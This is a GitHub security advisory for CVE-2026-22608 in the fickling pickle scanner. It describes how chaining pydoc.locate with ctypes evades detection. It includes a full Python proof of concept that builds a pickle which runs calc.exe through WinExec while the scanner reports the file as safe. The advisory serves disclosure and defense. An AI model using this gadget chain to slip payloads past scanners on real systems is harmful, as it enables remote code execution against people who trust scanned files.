GitHub Advisoryadvisory · PyPI

GHSA-5hvc-6wx8-mvv4 Fickling vulnerable to use of ctypes and pydoc gadget chain to bypass detection

HIGH Published 2026-01-09 Modified 2026-01-11 Official page ↗
Aliases
CVE-2026-22608
Ecosystem
PyPI
Packages
fickling
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-184, CWE-502
Reviewed
2026-01-09

Affected packages

• PyPI fickling: < 0.1.7 → fixed in 0.1.7

Description

Fickling's assessment `pydoc` and `ctypes` were added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/b793563e60a5e039c5837b09d7f4f6b92e6040d1). Original report Summary Both ctypes and pydoc modules arent explictly blocked. Even other existing pickle scanning tools (like picklescan) do not block pydoc.locate. Chaining these two together can achieve RCE while the scanner still reports the file as LIKELY_SAFE Details Import: GLOBAL pydoc locate (Allowed). Resolution: Call locate('ctypes.windll.kernel32.WinExec'). Execution: Call the result with (b'calc.exe', 1). To bypass the unused variable check an exception object is used, on the assumption that Exception would not be blocked in the future as it is a benign builtin PoC ```python import os GLOBAL = b'c' STRING = b'S' BININT = b'K' TUPLE1 = b'\x85' TUPLE2 = b'\x86' EMPTY_TUPLE = b')' REDUCE = b'R' PUT = b'p' GET = b'g' POP = b'0' EMPTY_DICT = b'}' SETITEM = b's' BUILD = b'b' STOP = b'.' def generate_stealth_payload(): payload = b"" payload += GLOBAL + b"pydoc\nlocate\n" payload += STRING + b"'ctypes.windll.kernel32.WinExec'\n" payload += TUPLE1 + REDUCE payload += PUT + b"0\n" # Var 0 = payload += POP payload += GET + b"0\n" payload += b"C" + b"\x08" + b"calc.exe" payload += BININT + b"\x01" payload += TUPLE2 + REDUCE payload += PUT + b"1\n" # Var 1 = Execution Result payload += POP payload += GLOBAL + b"builtins\nException\n" payload += EMPTY_TUPLE + REDUCE payload += PUT + b"2\n" # Var 2 = Exception instance payload += EMPTY_DICT payload += STRING + b"'rce_status'\n" payload += GET + b"1\n" payload += SETITEM # { 'rce_status': result } payload += BUILD payload += STOP return payload data = generate_stealth_payload() with open("stealth_ctypes.pkl", "wb") as f: f.write(data) print("Generated 'stealth_ctypes.pkl'") ```` What fickling sees ```python from pydoc import locate _var0 = locate('ctypes.windll.kernel32.WinExec') _var1 = _var0(b'calc.exe', 1) _var2 = Exception() _var3 = _var2 _var3.__setstate__({'rce_status': _var1}) result0 = _var3 ```

Related

Alias · CVE (1)

  • CVE-2026-22608 Fickling is a Python pickling decompiler and static analyzer. vulnerability

Weakness · CWE (2)

  • CWE-184 Incomplete List of Disallowed Inputs weakness
  • CWE-502 Deserialization of Untrusted Data weakness

References